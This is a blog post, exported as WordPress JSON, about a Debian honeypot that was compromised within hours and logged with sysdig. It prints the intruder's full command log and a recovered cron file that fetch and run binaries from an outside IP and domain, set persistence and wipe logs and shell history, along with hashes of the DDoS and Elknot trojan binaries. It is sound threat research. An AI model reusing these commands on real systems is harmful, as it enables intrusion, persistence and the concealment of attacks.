{"id":163,"date":"2014-05-18T14:36:30","date_gmt":"2014-05-18T12:36:30","guid":{"rendered":"http:\/\/remchp.com\/blog\/?p=163"},"modified":"2017-02-16T18:00:07","modified_gmt":"2017-02-16T16:00:07","slug":"honeypot-test","status":"publish","type":"post","link":"https:\/\/futex.re\/blog\/?p=163","title":{"rendered":"Honeypot test"},"content":{"rendered":"

I recently heard ofa new system logger, <\/a>.
\nIt’s seem to bee very completly, it use strace, tcpdump,lsof for take trace.<\/p>\n

I want to try it on a honeypot.<\/p>\n

So, install a virtual machine with my favourite OS Debian 7.5 \ud83d\ude42<\/p>\n

Install sysdig is very easy, type just one command<\/p>\n

\"sysdig_install\"<\/p>\n

Set basic password for root like “toor”, and start loggin with this command:
\n
\nnohup sysdig -s 4096 -z -w \/var\/log\/.syslog\/$(hostname).scap.gz &
\n<\/code><\/p>\n

I use \/var\/log\/.syslog for hidden the directory \ud83d\ude42<\/p>\n

And wait for attack! \ud83d\ude00<\/p>\n

After, 4 hour, my VM was pwn.<\/p>\n

Netstat
\n\"netstat\"<\/p>\n

ps
\n\"ps\"<\/p>\n

topnet
\n\"ps\"<\/p>\n

topconnect
\n\"ps\"<\/p>\n

Take a look at the command use by the bad guy
\n
\n17:11:55 root)\/usr\/lib\/openssh\/sftp-server
\n17:12:48 root)chmod 7777 \/ etc
\n17:12:48 root)killall -9 .IptabLes
\n17:12:48 root)killall -9 nfsd4
\n17:12:48 root)killall -9 profild.key
\n17:12:48 root)cd \/etc
\n17:12:48 root)rm -rf dir fake.cfg
\n17:12:48 root)killall -9 nfsd
\n17:12:48 root)killall -9 DDosl
\n17:12:48 root)killall -9 lengchao32
\n17:12:48 root)killall -9 b26
\n17:12:48 root)killall -9 Bill
\n17:12:48 root)killall -9 n26
\n17:12:48 root)killall -9 1
\n17:12:48 root)killall -9 codelove
\n17:12:48 root)killall -9 32
\n17:12:48 root)killall -9 m32
\n17:12:48 root)killall -9 m64
\n17:12:48 root)killall -9 64
\n17:12:48 root)killall -9 83BOT
\n17:12:48 root)killall -9 node24
\n17:12:48 root)killall -9 mimi
\n17:12:48 root)killall -9 nodeJR-1
\n17:12:48 root)killall -9 freeBSD
\n17:12:48 root)killall -9 ksapdd
\n17:12:48 root)killall -9 kysapdd
\n17:12:48 root)killall -9 sksapdd
\n17:12:48 root)killall -9 xsw
\n17:12:48 root)killall -9 syslogd
\n17:12:48 root)killall -9 skysapdd
\n17:12:48 root)killall -9 cupsddd
\n17:12:48 root)killall -9 ksapd
\n17:12:48 root)killall -9 atddd
\n17:12:48 root)killall -9 xfsdxd
\n17:12:48 root)killall -9 sfewfesfs
\n17:12:48 root)cd \/root
\n17:12:48 root)chmod 7777 \/ etc
\n17:12:48 root)killall -9 minerd
\n17:12:48 root)killall -9 0
\n17:12:48 root)killall -9 joudckfr
\n17:12:48 root)killall -9 www
\n17:12:48 root)killall -9 log
\n17:12:48 root)killall -9 .IptabLex
\n17:12:48 root)killall -9 .Mm2
\n17:12:48 root)killall -9 acpid
\n17:12:48 root)killall -9 m64
\n17:12:48 root)killall -9 .\/QQ
\n17:12:48 root)killall -9 QQ
\n17:12:48 root)killall -9 g3
\n17:12:48 root)killall -9 2
\n17:12:48 root)killall -9 3
\n17:12:48 root)killall -9 pm
\n17:12:48 root)killall -9 qweasd
\n17:12:48 root)killall -9 tangtang
\n17:12:48 root)killall -9 imap-login
\n17:12:48 root)killall -9 xudp
\n17:12:48 root)killall -9 txma
\n17:12:48 root)killall -9 mrdos64.b00
\n17:12:48 root)killall -9 mrdos32.b00
\n17:12:49 root)rm -rf dir kysapdd.*
\n17:12:49 root)cd \/etc
\n17:12:49 root)rm -rf dir sksapdd.*
\n17:12:49 root)cd \/etc
\n17:12:49 root)rm -rf dir skysapdd.*
\n17:12:49 root)cd \/etc
\n17:12:49 root)rm -rf dir xfsdxd.*
\n17:12:49 root)cd \/etc
\n17:12:49 root)rm -rf dir fake.cfg
\n17:12:49 root)cd \/etc
\n17:12:49 root)rm -rf dir cupsdd.*
\n17:12:49 root)cd \/etc
\n17:12:49 root)rm -rf dir atdd.*
\n17:12:49 root)cd \/etc
\n17:12:49 root)rm -rf dir ksapd.*
\n17:12:49 root)cd \/etc
\n17:12:49 root)rm -rf dir kysapd.*
\n17:12:49 root)cd \/etc
\n17:12:49 root)rm -rf dir sksapd.*
\n17:12:49 root)cd \/etc
\n17:12:49 root)rm -rf dir skysapd.*
\n17:12:49 root)cd \/etc
\n17:12:49 root)rm -rf dir xfsdx.*
\n17:12:49 root)cd \/etc
\n17:12:49 root)rm -rf dir sfewfesfs
\n17:12:49 root)cd \/etc
\n17:12:49 root)rm -rf dir gfhjrtfyhuf
\n17:12:49 root)cd \/etc
\n17:12:49 root)rm -rf dir rewgtf3er4t
\n17:12:49 root)cd \/etc
\n17:12:49 root)rm -rf dir sdmfdsfhjfe
\n17:12:49 root)cd \/etc
\n17:12:49 root)rm -rf dir gfhddsfew
\n17:12:49 root)cd \/etc
\n17:12:49 root)rm -rf dir ferwfrre
\n17:12:49 root)cd \/etc
\n17:12:49 root)rm -rf dir dsfrefr
\n17:12:49 root)cd \/etc
\n17:12:49 root)rm -rf dir sfewfesfs.*
\n17:12:49 root)cd \/etc
\n17:12:49 root)rm -rf dir gfhjrtfyhuf.*
\n17:12:49 root)cd \/etc
\n17:12:49 root)rm -rf dir rewgtf3er4t.*
\n17:12:49 root)cd \/etc
\n17:12:49 root)rm -rf dir sdmfdsfhjfe.*
\n17:12:49 root)cd \/etc
\n17:12:49 root)rm -rf dir gfhddsfew.*
\n17:12:49 root)cd \/etc
\n17:12:49 root)rm -rf dir ferwfrre.*
\n17:12:49 root)cd \/etc
\n17:12:49 root)rm -rf dir dsfrefr.*
\n17:12:49 root)cd \/tmp
\n17:12:49 root)rm -rf dir 1.*
\n17:12:49 root)cd \/tmp
\n17:12:49 root)rm -rf dir 2.*
\n17:12:49 root)cd \/tmp
\n17:12:49 root)rm -rf dir 3.*
\n17:12:49 root)cd \/tmp
\n17:12:49 root)rm -rf dir 4.*
\n17:12:49 root)cd \/tmp
\n17:12:49 root)rm -rf dir 5.*
\n17:12:49 root)cd \/var\/spool\/cron
\n17:12:49 root)rm -rf dir root.*
\n17:12:49 root)cd \/var\/spool\/cron
\n17:12:49 root)rm -rf dir root
\n17:12:49 root)cd \/var\/spool\/cron\/crontabs
\n17:12:49 root)rm -rf dir root.*
\n17:12:49 root)cd \/var\/spool\/cron\/crontabs
\n17:12:49 root)rm -rf dir root
\n17:12:49 root)cd \/var\/spool\/cron
\n17:12:49 root)wget http:\/\/122.224.34.75:8188\/root
\n17:12:52 root)cd \/var\/spool\/cron\/crontabs
\n17:12:52 root)wget http:\/\/122.224.34.75:8188\/root
\n17:12:54 root)cd \/etc
\n17:12:54 root)wget http:\/\/122.224.34.75:8188\/sfewfesfs
\n17:13:02 root)cd \/etc
\n17:13:02 root)wget http:\/\/122.224.34.75:8188\/gfhjrtfyhuf
\n17:13:12 root)cd \/etc
\n17:13:12 root)wget http:\/\/122.224.34.75:8188\/rewgtf3er4t
\n17:13:16 root)cd \/etc
\n17:13:16 root)wget http:\/\/122.224.34.75:8188\/sdmfdsfhjfe
\n17:13:22 root)cd \/etc
\n17:13:22 root)wget http:\/\/122.224.34.75:8188\/gfhddsfew
\n17:13:30 root)cd \/etc
\n17:13:30 root)wget http:\/\/122.224.34.75:8188\/ferwfrre
\n17:13:35 root)cd \/etc
\n17:13:35 root)wget http:\/\/122.224.34.75:8188\/dsfrefr
\n17:13:41 root)cd \/etc
\n17:13:41 root)chmod 7777 sfewfesfs
\n17:13:41 root)cd \/etc
\n17:13:41 root)chmod 7777 gfhjrtfyhuf
\n17:13:41 root)cd \/etc
\n17:13:41 root)chmod 7777 rewgtf3er4t
\n17:13:41 root)cd \/etc
\n17:13:41 root)chmod 7777 sdmfdsfhjfe
\n17:13:41 root)cd \/etc
\n17:13:41 root)chmod 7777 gfhddsfew
\n17:13:41 root)cd \/etc
\n17:13:41 root)chmod 7777 ferwfrre
\n17:13:41 root)cd \/etc
\n17:13:41 root)chmod 7777 dsfrefr
\n17:13:41 root)cd \/etc
\n17:13:41 root)chattr +i sfewfesfs
\n17:13:41 root)nohup \/etc\/ferwfrre
\n17:13:41 root)nohup \/etc\/ferwfrre
\n17:13:41 root)nohup \/etc\/gfhddsfew
\n17:13:41 root)nohup \/etc\/gfhddsfew
\n17:13:41 root)nohup \/etc\/sdmfdsfhjfe
\n17:13:41 root)nohup \/etc\/sdmfdsfhjfe
\n17:13:41 root)nohup \/etc\/rewgtf3er4t
\n17:13:41 root)nohup \/etc\/rewgtf3er4t
\n17:13:41 root)nohup \/etc\/dsfrefr
\n17:13:41 root)nohup \/etc\/dsfrefr
\n17:13:41 root)rm -rf \/root\/.bash_history
\n17:13:41 root)nohup \/etc\/gfhjrtfyhuf
\n17:13:41 root)nohup \/etc\/gfhjrtfyhuf
\n17:13:41 root)touch \/root\/.bash_history
\n17:13:41 root)cd \/var\/log
\n17:13:41 root)cd \/var\/log
\n17:13:41 root)cd \/var\/log
\n17:13:41 root)cd \/var\/log
\n17:13:41 root)cd \/var\/log
\n17:13:41 root)cd \/var\/log
\n17:13:41 root)cd \/var\/log
\n17:13:41 root)cd \/var\/log
\n17:13:41 root)cd \/var\/log
\n17:13:41 root)cd \/var\/log
\n17:13:41 root)cd \/var\/log
\n17:13:41 root)cd \/var\/log
\n17:13:41 root)cd \/var\/log
\n17:13:41 root)cd \/var\/log
\n17:13:41 root)cd \/var\/log
\n17:13:41 root)cd \/var\/log
\n17:13:41 root)cd \/var\/log
\n17:13:41 root)cd \/var\/log
\n17:13:41 root)cd \/var\/log
\n17:13:41 root)cd \/var\/log
\n17:13:41 root)cd \/var\/log
\n17:13:41 root)cd \/var\/log
\n17:13:41 root)cd \/var\/log
\n17:13:41 root)cd \/var\/log
\n17:13:41 root)cd \/root
\n17:13:41 root)sleep 600
\n17:13:43 root)basename \/usr\/sbin\/service
\n17:13:43 root)basename \/usr\/sbin\/service
\n17:13:43 root)cd \/
\n17:13:43 root)basename \/usr\/sbin\/service
\n17:13:43 root)basename \/usr\/sbin\/service
\n17:13:43 root)cd \/
\n17:13:43 root)run-parts --lsbsysinit --list \/lib\/lsb\/init-functions.d
\n17:13:43 root)grep -q permission
\n17:13:43 root)\/sbin\/ebtables -t filter -L
\n17:13:43 root)\/sbin\/ebtables -t filter -L
\n17:13:43 root)\/sbin\/ebtables -t nat -L
\n17:13:43 root)\/sbin\/ebtables -t broute -L
\n17:13:43 root)\/bin\/echo -n Clearing ebtables rulesets:
\n17:13:43 root)\/bin\/echo -n filter
\n17:13:43 root)\/sbin\/ebtables -t filter --init-table
\n17:13:43 root)\/bin\/echo -n nat
\n17:13:43 root)\/sbin\/ebtables -t nat --init-table
\n17:13:43 root)\/bin\/echo -n broute
\n17:13:43 root)\/sbin\/ebtables -t broute --init-table
\n17:13:43 root)cut -d -f1
\n17:13:43 root)grep -E ^(ebt|ebtable)_ \/proc\/modules
\n17:13:43 root)rmmod ebtable_broute
\n17:13:43 root)rmmod ebtable_filter
\n17:13:43 root)rmmod ebtable_nat
\n17:13:43 root)rmmod ebtables
\n17:13:43 root)\/bin\/echo -n done
\n17:13:43 root)run-parts --lsbsysinit --list \/lib\/lsb\/init-functions.d
\n17:13:43 root)grep -q permission
\n17:13:43 root)\/sbin\/ebtables -t filter -L
\n17:13:43 root)\/sbin\/ebtables -t filter -L
\n17:13:43 root)\/sbin\/ebtables -t nat -L
\n17:13:43 root)\/sbin\/ebtables -t broute -L
\n17:13:43 root)\/bin\/echo -n Clearing ebtables rulesets:
\n17:13:43 root)\/bin\/echo -n filter
\n17:13:43 root)\/sbin\/ebtables -t filter --init-table
\n17:13:43 root)\/bin\/echo -n nat
\n17:13:43 root)\/sbin\/ebtables -t nat --init-table
\n17:13:43 root)\/bin\/echo -n broute
\n17:13:43 root)\/sbin\/ebtables -t broute --init-table
\n17:13:43 root)cut -d -f1
\n17:13:43 root)grep -E ^(ebt|ebtable)_ \/proc\/modules
\n17:13:43 root)rmmod ebtable_broute
\n17:13:43 root)rmmod ebtable_nat
\n17:13:43 root)rmmod ebtable_filter
\n17:13:43 root)rmmod ebtables
\n17:13:43 root)\/bin\/echo -n done
\n17:13:55 root)basename \/usr\/sbin\/service
\n17:13:55 root)basename \/usr\/sbin\/service
\n17:13:55 root)cd \/
\n17:13:55 root)setsid \/etc\/.SSH2
\n17:13:55 root)setsid \/etc\/.SSH2
\n17:13:55 root)setsid \/etc\/.SSH2
\n17:13:55 root)setsid \/etc\/.SSH2
\n17:17:01 root)cd \/
\n17:17:01 root)run-parts --report \/etc\/cron.hourly
\n17:21:29 root)ps -ef
\n17:21:34 root)ps -ef
\n17:22:14 root)ps -ef
\n<\/code><\/p>\n

He downloaded 8 binarys.
\n17:12:49 root)wget http:\/\/122.224.34.75:8188\/root
\n17:12:54 root)wget http:\/\/122.224.34.75:8188\/sfewfesfs
\n17:13:02 root)wget http:\/\/122.224.34.75:8188\/gfhjrtfyhuf
\n17:13:12 root)wget http:\/\/122.224.34.75:8188\/rewgtf3er4t
\n17:13:16 root)wget http:\/\/122.224.34.75:8188\/sdmfdsfhjfe
\n17:13:22 root)wget http:\/\/122.224.34.75:8188\/gfhddsfew
\n17:13:30 root)wget http:\/\/122.224.34.75:8188\/ferwfrre
\n17:13:35 root)wget http:\/\/122.224.34.75:8188\/dsfrefr<\/p>\n

And we can find an over in \/etc\/.SSH2<\/p>\n

MD5: 3f5c73745f7c17702bac0642a85d7d80 sha1: 34261024f4dfa63a16055230a325e8767cfef253 dsfrefr
\nMD5: a89c089b8d020034392536d66851b939 sha1: a1bfe161d49b50d62796618c768f4d06dcfe7d5f ferwfrre
\nMD5: 9401f208a419fb636520ea2aefc8bbd7 sha1: b66a0d68d3f8236b312a0434e504788f1a2f383c gfhddsfew
\nMD5: e7c2f99b30daf8d99f6b5911d25fd8c7 sha1: 06957097fe51829b4c7e8009cd3dce5ba565e920 gfhjrtfyhuf
\nMD5: dc893d16316489dffa4e8d86040189b2 sha1: 931077c1b93c387e87b29e2b206aff5e5e58c223 rewgtf3er4t
\nMD5: 5d10bcb15bedb4b94092c4c2e4d245b6 sha1: 6eba031ec658aeb82aed5b94c4ba829da38553f4 sdmfdsfhjfe
\nMD5: f9ad37bc11a4f5249b660cacadd14ad3 sha1: e41a40fdcd94718eef8a954ce67bd03ac5c70a00 sfewfesfs
\nMD5: dc893d16316489dffa4e8d86040189b2 sha1: 931077c1b93c387e87b29e2b206aff5e5e58c223 SSH2<\/p>\n

Two binaries are packed with upx, sums when they unpacked:<\/p>\n

MD5: 1da702a39ad4bc15c5a1e51422f4cd69 sha1: 529f5beda846688f43c748e3b78fd947aa6bf662 rewgtf3er4t
\nMD5: f9ad37bc11a4f5249b660cacadd14ad3 sha1: e41a40fdcd94718eef8a954ce67bd03ac5c70a00 sfewfesfs<\/p>\n

rewgtf3er4t is the same binarie of SSH2, probably when rewgtf3er4t is launch it copy itselfe in \/etc\/.SSH2<\/p>\n

Virus total analysis:<\/p>\n

dsfrefr<\/a>
\nferwfrre<\/a>
\ngfhddsfew<\/a>
\ngfhjrtfyhuf<\/a>
\nrewgtf3er4t<\/a>
\nsdmfdsfhjfe<\/a>
\nsfewfesfs<\/a>
\nSSH2<\/a><\/p>\n

And root file is intended to be used as a cronfile.
\n
\n#more root | grep -v ^#
\n*\/1 * * * * killall -9 .IptabLes
\n*\/1 * * * * killall -9 nfsd4
\n*\/1 * * * * killall -9 profild.key
\n*\/1 * * * * killall -9 nfsd
\n*\/1 * * * * killall -9 DDosl
\n*\/1 * * * * killall -9 lengchao32
\n*\/1 * * * * killall -9 b26
\n*\/1 * * * * killall -9 codelove
\n*\/1 * * * * killall -9 32
\n*\/1 * * * * killall -9 64
\n*\/1 * * * * killall -9 new6
\n*\/1 * * * * killall -9 new4
\n*\/1 * * * * killall -9 node24
\n*\/1 * * * * killall -9 freeBSD
\n*\/99 * * * * killall -9 sdmfdsfhjfe
\n*\/98 * * * * killall -9 gfhjrtfyhuf
\n*\/97 * * * * killall -9 sdmfdsfhjfe
\n*\/96 * * * * killall -9 rewgtf3er4t
\n*\/95 * * * * killall -9 ferwfrre
\n*\/94 * * * * killall -9 dsfrefr
\n*\/120 * * * * cd \/etc; wget http:\/\/www.dgnfd564sdf.com:8080\/gfhjrtfyhuf
\n*\/120 * * * * cd \/etc; wget http:\/\/www.dgnfd564sdf.com:8080\/sfewfesfs
\n*\/130 * * * * cd \/etc; wget http:\/\/www.dgnfd564sdf.com:8080\/sdmfdsfhjfe
\n*\/130 * * * * cd \/etc; wget http:\/\/www.dgnfd564sdf.com:8080\/gfhddsfew
\n*\/140 * * * * cd \/etc; wget http:\/\/www.dgnfd564sdf.com:8080\/rewgtf3er4t
\n*\/140 * * * * cd \/etc; wget http:\/\/www.dgnfd564sdf.com:8080\/ferwfrre
\n*\/120 * * * * cd \/etc; wget http:\/\/www.dgnfd564sdf.com:8080\/dsfrefr
\n*\/120 * * * * cd \/root;rm -rf dir nohup.out
\n*\/360 * * * * cd \/etc;rm -rf dir gfhjrtfyhuf
\n*\/360 * * * * cd \/etc;rm -rf dir dsfrefr
\n*\/360 * * * * cd \/etc;rm -rf dir sdmfdsfhjfe
\n*\/360 * * * * cd \/etc;rm -rf dir rewgtf3er4t
\n*\/360 * * * * cd \/etc;rm -rf dir gfhddsfew
\n*\/360 * * * * cd \/etc;rm -rf dir ferwfrre
\n*\/1 * * * * cd \/etc;rm -rf dir sfewfesfs.*
\n*\/1 * * * * cd \/etc;rm -rf dir gfhjrtfyhuf.*
\n*\/1 * * * * cd \/etc;rm -rf dir dsfrefr.*
\n*\/1 * * * * cd \/etc;rm -rf dir sdmfdsfhjfe.*
\n*\/1 * * * * cd \/etc;rm -rf dir rewgtf3er4t.*
\n*\/1 * * * * cd \/etc;rm -rf dir gfhddsfew.*
\n*\/1 * * * * cd \/etc;rm -rf dir ferwfrre.*
\n*\/1 * * * * chmod 7777 \/etc\/gfhjrtfyhuf
\n*\/1 * * * * chmod 7777 \/etc\/sfewfesfs
\n*\/1 * * * * chmod 7777 \/etc\/dsfrefr
\n*\/1 * * * * chmod 7777 \/etc\/sdmfdsfhjfe
\n*\/1 * * * * chmod 7777 \/etc\/rewgtf3er4t
\n*\/1 * * * * chmod 7777 \/etc\/gfhddsfew
\n*\/1 * * * * chmod 7777 \/etc\/ferwfrre
\n*\/99 * * * * nohup \/etc\/sfewfesfs > \/dev\/null 2>&1&
\n*\/100 * * * * nohup \/etc\/sdmfdsfhjfe > \/dev\/null 2>&1&
\n*\/99 * * * * nohup \/etc\/gfhjrtfyhuf > \/dev\/null 2>&1&
\n*\/98 * * * * nohup \/etc\/sdmfdsfhjfe > \/dev\/null 2>&1&
\n*\/97 * * * * nohup \/etc\/rewgtf3er4t > \/dev\/null 2>&1&
\n*\/96 * * * * nohup \/etc\/ferwfrre > \/dev\/null 2>&1&
\n*\/95 * * * * nohup \/etc\/dsfrefr > \/dev\/null 2>&1&
\n*\/1 * * * * echo \"unset MAILCHECK\" >> \/etc\/profile
\n*\/1 * * * * rm -rf \/root\/.bash_history
\n*\/1 * * * * touch \/root\/.bash_history
\n*\/1 * * * * history -r
\n*\/1 * * * * cd \/var\/log > dmesg
\n*\/1 * * * * cd \/var\/log > auth.log
\n*\/1 * * * * cd \/var\/log > alternatives.log
\n*\/1 * * * * cd \/var\/log > boot.log
\n*\/1 * * * * cd \/var\/log > btmp
\n*\/1 * * * * cd \/var\/log > cron
\n*\/1 * * * * cd \/var\/log > cups
\n*\/1 * * * * cd \/var\/log > daemon.log
\n*\/1 * * * * cd \/var\/log > dpkg.log
\n*\/1 * * * * cd \/var\/log > faillog
\n*\/1 * * * * cd \/var\/log > kern.log
\n*\/1 * * * * cd \/var\/log > lastlog
\n*\/1 * * * * cd \/var\/log > maillog
\n*\/1 * * * * cd \/var\/log > user.log
\n*\/1 * * * * cd \/var\/log > Xorg.x.log
\n*\/1 * * * * cd \/var\/log > anaconda.log
\n*\/1 * * * * cd \/var\/log > yum.log
\n*\/1 * * * * cd \/var\/log > secure
\n*\/1 * * * * cd \/var\/log > wtmp
\n*\/1 * * * * cd \/var\/log > utmp
\n*\/1 * * * * cd \/var\/log > messages
\n*\/1 * * * * cd \/var\/log > spooler
\n*\/1 * * * * cd \/var\/log > sudolog
\n*\/1 * * * * cd \/var\/log > aculog
\n*\/1 * * * * cd \/var\/log > access-log
\n*\/1 * * * * cd \/root > .bash_history
\n*\/1 * * * * history -c
\n<\/code><\/p>\n

Al binarys as know to be ddos tools and Elknot Trojan, if later i have a little more time, i try to reverse it.<\/p>\n

Reference: draios.com<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"

I recently heard ofa new system logger, . It’s seem to bee very completly, it use strace, tcpdump,lsof for take trace. I want to try it on a honeypot. So, install a virtual machine with my favourite OS Debian 7.5 … Continue reading →<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[1],"tags":[],"_links":{"self":[{"href":"https:\/\/futex.re\/blog\/index.php?rest_route=\/wp\/v2\/posts\/163"}],"collection":[{"href":"https:\/\/futex.re\/blog\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/futex.re\/blog\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/futex.re\/blog\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/futex.re\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=163"}],"version-history":[{"count":17,"href":"https:\/\/futex.re\/blog\/index.php?rest_route=\/wp\/v2\/posts\/163\/revisions"}],"predecessor-version":[{"id":225,"href":"https:\/\/futex.re\/blog\/index.php?rest_route=\/wp\/v2\/posts\/163\/revisions\/225"}],"wp:attachment":[{"href":"https:\/\/futex.re\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=163"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/futex.re\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=163"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/futex.re\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=163"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}